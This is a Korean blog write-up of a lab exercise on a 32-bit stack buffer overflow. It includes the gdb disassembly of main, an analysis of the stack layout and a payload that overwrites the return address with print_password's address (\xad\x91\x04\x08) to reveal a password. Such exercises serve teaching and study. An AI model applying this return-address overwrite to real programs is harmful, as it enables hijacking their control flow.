Q. 어떤 웹 서버에 공개된 프로그램 assignment는 buffer overflow 공격에 취약한 것으로 알려져 있다.
해당 프로그램을 다운로드 후 분석하여 print_password() 함수를 호출하고 비밀번호를 획득하라!
일단 해당 프로그램을 다운로드 후 다음과 같이 실행해보았다.
A를 5번 입력하니 위와 같이 그대로 입력값을 출력해주는 프로그램인 것 같은데,
이번엔 A를 많이 입력하니까 위와 같이 core dumped가 나오면서 버퍼 오버플로우가 발생한 것을 볼 수 있다.
참고로 BOF 취약점을 분석할 때 주요 관심사는 "버퍼의 크기"와 "외부 입력"이다.
이제 gdb를 통해 어셈블리 코드를 확인해보도록 하자.
코드 분석
우선 목표로 하는 print_password 함수의 시작 주소값을 확보해놓음
시작 주소값: 0x80491ad
0x080491c0 <+0>: push %ebp
0x080491c1 <+1>: mov %esp,%ebp
0x080491c3 <+3>: sub $0x8,%esp
0x080491c6 <+6>: movl $0xffffffff,-0x4(%ebp)
0x080491cd <+13>: mov 0x804c020,%eax
0x080491d2 <+18>: push %eax
0x080491d3 <+19>: push $0x1000
0x080491d8 <+24>: lea -0x8(%ebp),%eax
0x080491db <+27>: push %eax
0x080491dc <+28>: call 0x8049050 <fgets@plt>
0x080491e1 <+33>: add $0xc,%esp
0x080491e4 <+36>: mov 0x804c024,%eax
0x080491e9 <+41>: push %eax
0x080491ea <+42>: lea -0x8(%ebp),%eax
0x080491ed <+45>: push %eax
0x080491ee <+46>: call 0x8049070 <fputs@plt>
0x080491f3 <+51>: add $0x8,%esp
0x080491f6 <+54>: mov $0x0,%eax
0x080491fb <+59>: leave
0x080491fc <+60>: ret
위는 main의 전체 어셈블리 코드를 확인한 것이다.
0x080491c3 <+3>: sub $0x8,%esp
먼저 위 명령은 스택에 8 byte를 할당하는 명령이다. (버퍼 할당 부분)
즉 로컬 변수로 사용할 수 있는 버퍼는 8byte인 셈
0x080491db <+27>: push %eax
0x080491d3 <+19>: push $0x1000
0x080491d8 <+24>: lea -0x8(%ebp),%eax
0x080491dc <+28>: call 0x8049050 <fgets@plt>
여기서 fgets() 함수는 stdin으로부터 입력을 받아 =0x8(%ebp) 주소에 저장한다.
fgets()는 최대 크기를 두 번째 인자로 받으며, 0x1000(4096) 바이트로 설정되어 있다.
앞서 입력 버퍼는 8byte로 제한되었으나, fgets()는 최대 4096 byte까지의 입력을 허용하고 있으니 당연히 입력 데이터가 버퍼를 초과하여 스택 오버플로우를 유발할 수 있음을 파악할 수 있다.
EBP와 RET 주소를 print_password() 함수의 주소로 덮어쓰면 원하는 목표를 달성할 수 있을 것!
익스플로잇
1. 스택 오버플로우를 유발하여 main 함수의 리턴 주소를 덮어씌움
2. 리턴 주소를 print_password 함수 주소(0x80491ad)로 설정
3. 프로그램이 종료될 때, print_password 함수가 호출되도록 조작
위 순서대로 진행하면 된다.
1. 스택 레이아웃 분석
- 입력 버퍼 : 8byte
- 저장된 ebp : 4 byte
- 리턴 주소 : 4byte
2. 페이로드 구성
- 8byte의 패딩 데이터 : 스택 버퍼를 채우기 위한 임의의 데이터
- 4 byte 패딩 : eip를 덮기 전에 ebp를 덮는 부분, 임의 데이터 채움
- 4 byte의 리턴 주소 : 0x80491ad
=> 단, 이를 little endian 형식으로 입력해야 하므로 \xad\x91\x04\x08 로 작성해줘야 한다.
그러면 이렇게 RET를 print_password() 함수의 시작 주소로 덮음으로써 버퍼 오버플로우가 발생하여 해당 함수가 실행되어 비밀번호가 출력된 것을 볼 수 있다!
'System Hacking' 카테고리의 다른 글
[System] 버퍼 오버플로우 기본 개념 다지기 - Buffer Overflow 실습 예제 풀이 (0) | 2024.11.25 |
---|